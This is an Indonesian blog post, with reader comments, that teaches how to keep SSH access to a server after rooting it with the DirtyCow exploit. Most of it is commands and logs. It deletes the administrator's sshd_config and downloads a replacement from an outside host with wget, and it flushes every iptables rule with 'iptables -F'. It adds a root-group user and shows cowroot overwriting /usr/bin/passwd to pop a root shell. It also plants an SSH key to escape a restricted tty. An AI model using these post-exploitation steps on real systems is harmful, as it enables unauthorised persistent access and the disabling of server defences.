Thursday, 1 June 2017

Mendapatkan Akses SSH Setelah Rooting Server

Haloo.. kali ini saya mau berbagi sedikit tips saja barangkali ada yang belum tau. Biasanya yang pernah rooting server dengan localroot dirtyc0w sering pas sudah eskalasi, add user dan ganti password ternyata tidak bisa masuk ke ssh karena port ssh yang diganti, atau password auth dimatikan (sysadmin server tersebut login menggunakan auth key). Ada juga kasus dimana proses privilege escalation langsung memanggil tty dengan id root, namun ketika menambahkan user tidak bisa karena akses ke perintah seperti passwd iptables, dll dibatasi.
Oke kita bahas dulu kasus pertama.
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh.
Kemungkinan nya ada dua, tidak diijinkan login dengan password , atau memang ssh hanya bisa diakses melalui ip tertentu saja (pengaturan iptables).
Trik nya :
su firefat
cd /etc/ssh/
rm sshd_config
wget http://dl.linuxsec.org/sshd.txt -O sshd_config
iptables -F
service ssh restart
Perintah diatas akan menghapus konfigurasi ssh yang dilakukan sysadmin dan mengembalikannya ke pengaturan default dimana password login diijinkan dan port nya di port 22. iptables -F adalah melakukan flushing iptables. Hal ini untuk menghapus semua rule iptables yang ada. Sehingga misalnya rule awal hanya mengijinkan ip tertentu login ke ssh, sekarang kita bisa login ke ssh dari ip kita.
Yang pertama diatas adalah yang kasus paling gampang nya. Nah yang kedua ini lumayan banyak juga
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh - /bin/su denied
Nah kalau yang ini, kita gunakan trik berikut.
Kita lakukan eskalasi server dengan localroot yang langsung memanggil tty dengan id root.
Cek Disini
Sehingga proses nya menjadi
exploit - run - id root
log :
./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 30768
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@whmdaqu [/home/bugs/public_html/]#
karena id kita sekarang root kita tinggal mengikuti perintah di kasus pertama. Reset sshd config, flush iptables, add user setara root.
Nah kasus yang ketiga
exploit - tty dengan id root - tidak bisa menjalankan perintah passwd, iptables dan perintah lainnya.
Hal ini kemungkinan akses ke perintah sistem dibatasi saat kita menggunakan tty.
Log :
root@server [/root]# /usr/sbin/useradd kontol -g root -d /home/kontol
/usr/sbin/useradd kontol -g root -d /home/kontol
root@server [/root]# passwd kontol
passwd root
root@server [/root]#
yup, prompt password tidak mau terpanggil.
Ini dikarenakan akses di tty dibatasi. bahkan meski memiliki id root kita tidak bisa menjalankan perintah iptables.
Trik yang saya coba dan work :
cd ~
ssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
ssh root@localhost
Kita gunakan akses ssh menggunakan auth key. Kenapa di localhost, kenapa tidak langsung pakai auth key dari server kita ? Disini saya asumsikan firewall server target aktif dan hanya mengijinkan akses ssh dari ip tertentu saja.
Setelah add ssh key, berikut log nya :
root@server [~]# ssh root@localhost
ssh kontol@localhost
Attempting to create directory /root/perl5
root@server [~]#
Memang terlihat sama namun yang pertama adalah tty, dan yang kedua adalah ssh shell.
Sekarang karena yang kita punya bukan tty lagi seharusnya limit atau batasan perintah seperti tidak bisa command iptables, tidak bisa command passwd sudah tidak ada. Selanjutnya tinggal ikuti ara paling atas .
Sekian tutorial kali ini, semoga bermanfaat.

4 comments:

  1. Kalo pass root tpi user di /etc/passwd gk ada gimana ngatasin nya ?

    ReplyDelete
    Replies
    1. itu artinya ga ke write /etc/passwdnya gan

      Delete